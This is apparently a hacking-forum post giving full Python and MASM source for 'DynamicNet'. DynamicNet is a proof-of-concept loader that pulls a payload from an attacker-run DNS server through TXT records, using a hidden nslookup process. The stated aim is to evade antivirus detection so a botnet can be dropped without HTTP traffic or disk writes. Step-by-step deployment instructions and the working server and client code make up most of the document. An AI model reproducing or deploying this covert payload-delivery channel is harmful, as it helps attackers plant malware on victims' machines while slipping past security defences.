Problem:
Download to disk and execute is dead, every AV and your grandmother can detect someone making a HTTP transaction them dropping to disk.
Solution:
Bypass HTTP entirely, Bypass Disk Entirely
Enter DynamicNet, a MASM PoC Full concept coming soon that uses DNS txt records to transmit data to a machine without touching the disk or even sending a single HTTP packet. Perfect for a basic loader that needs to drop your awesome botnet without arising too much suspicion such as disk activity or HTTP requests.
"How exactly does this work?"
DynamicNet uses two programs, A server written in python to pass your malicious bytes to the client and a client in MASM (could be ported to .net if you hate yourself) to retrieve your malicious bytes. As it stands the basic PoC bin compiles to 2.5kb without any optimization so thats awesome.
"Why is this any better than using a direct socket connection?"
Your average AV is going to see opening any sort of socket as a huge flag from a heuristic standpoint. DynamicNet uses the nslookup command which is built into windows to make the request, since nslookup is installed by default and is used in many applications to fetch DNS information the call to it looks routine to an AV
"gib source!"
1. Run the simple Python script on a server (ideally linux with a public IP) make sure to edit line 38 to reflect your "malicious" bytes
2. Edit line 14 in the MASM code to include the IP of the server from step 1
3. Compile the MASM code
4. Run the MASM bin
5. Enjoy the show
More will be coming from this soon, maybe a real loader/crypter via DNS if im feeling up to it.
Python script
import socket
import struct
class DNSQuery:
def __init__(Self, Data):
Self.Data=Data
Self.Domain=''
tipo = (ord(Data[2]) >> 3) & 15 # Opcode bits
if tipo == 0: # Standard query
ini=12
lon=ord(Data[ini])
while lon != 0:
Self.Domain+=Data[ini+1:ini+lon+1]+'.'
ini+=lon+1
lon=ord(Data[ini])
def ReplyTXT(Self,ReplyString):
Packet=''
if Self.Domain:
ReplyLength = len(ReplyString)
Packet+=Self.Data[:2] + "\x81\x80"
Packet+=Self.Data[4:6] + Self.Data[4:6] + '\x00\x00\x00\x00' #Questions and Answers Counts
Packet+=Self.Data[12:] #Original Domain Name Question
Packet+='\xc0\x0c' #Pointer to domain name
Packet+='\x00\x10\x00\x01\x00\x00\x00\x3c' #Reply type and TTL
Packet+=struct.pack(">h",ReplyLength + 1) #Data Legnth
Packet+=struct.pack(">h", ReplyLength) #TXT Length
Packet+=ReplyString #TXT
return Packet
if __name__ == '__main__':
print 'DynamicDNS Server Active'
udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udps.bind(('',53))
LogFile = open('DynamicDNS_Log.txt','a')
HelloString='Put Your Malicious Bytes Here'
try:
while 1:
Data, addr = udps.recvfrom(1024)
Query=DNSQuery(Data)
udps.sendto(Query.ReplyTXT('@' + HelloString + '@'), addr)
print 'Request: %s Replied With: %s' % (Query.Domain,HelloString)
LogFile.write('Request: ' + Query.Domain + ' Replied With ' + HelloString)
except KeyboardInterrupt:
print 'Exiting...'
udps.close()
f.close()
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
.data
lookupcmd db "nslookup -type=txt not_a_real_domain <server ip goes here>",0 ;Edit me or I wont work
.data?
pipe_read dd ?
pipe_write dd ?
bwr dd ?
buffer db 1024 dup(?)
parsedbuffer db 1024 dup(?)
.code
GetWord proc string:DWORD,wrd:DWORD,brk:BYTE,buff:DWORD,buffsize:DWORD ;Splitting up strings example, borrowed from http://tinyurl.com/d8gunp4
LOCAL rett:DWORD
pushad
.if string!=0 && buff!=0
xor edx,edx;edx=wordcnt
mov esi,string
mov bl,[esi]
call skipBrk
.while bl!=0
.if bl==brk
inc edx
call skipBrk
.endif
.break .if edx==wrd || bl==0
inc esi
mov bl,[esi]
.endw
.if bl!=0
mov edi,buff
xor ecx,ecx
dec buffsize
.while bl!=0 && bl!=brk && ecx<buffsize
mov bl,[esi]
mov [edi],bl
inc ecx
inc esi
inc edi
.endw
dec ecx
mov byte ptr [edi-1],0
mov rett,ecx
.else
mov rett,-1;word doesnt exist
.endif
.else
mov rett,-1;one or more string parameters are null
.endif
popad
mov eax,rett
ret
skipBrk:
.while bl==brk && bl!=0
inc esi
mov bl,[esi]
.endw
db 0c3h
GetWord endp
finished proc
invoke GetWord, addr buffer,1,"@",addr parsedbuffer,sizeof parsedbuffer
invoke MessageBox,0,addr parsedbuffer,0,0
;Take contents of parsedbuffer and reflect into your 133t RunPE for xXx420botnetxXx
invoke ExitProcess,0
finished EndP
LogicStart:
StartFunction proc
;Killer pipe explanation from berniee/[Xero]
local security_attrib :SECURITY_ATTRIBUTES
local stinfo :STARTUPINFO
local pinfo :PROCESS_INFORMATION
mov security_attrib.lpSecurityDescriptor,0
mov security_attrib.bInheritHandle,TRUE
mov security_attrib.nLength,sizeof SECURITY_ATTRIBUTES
invoke CreatePipe,addr pipe_read,addr pipe_write,addr security_attrib,0
mov stinfo.cb,sizeof STARTUPINFO
mov eax, pipe_write
mov stinfo.hStdOutput,eax
mov stinfo.hStdError,eax
mov stinfo.dwFlags, STARTF_USESHOWWINDOW+ STARTF_USESTDHANDLES
mov stinfo.wShowWindow,SW_HIDE
invoke CreateProcess,0,addr lookupcmd,0,0,TRUE,0,0,0,addr stinfo,addr pinfo
invoke CloseHandle,pipe_write
pipeloop:
invoke ReadFile,pipe_read,addr buffer,1024,addr bwr,0
or eax,eax
.if eax == 0
invoke finished
.endif
jmp pipeloop
StartFunction endp
end LogicStart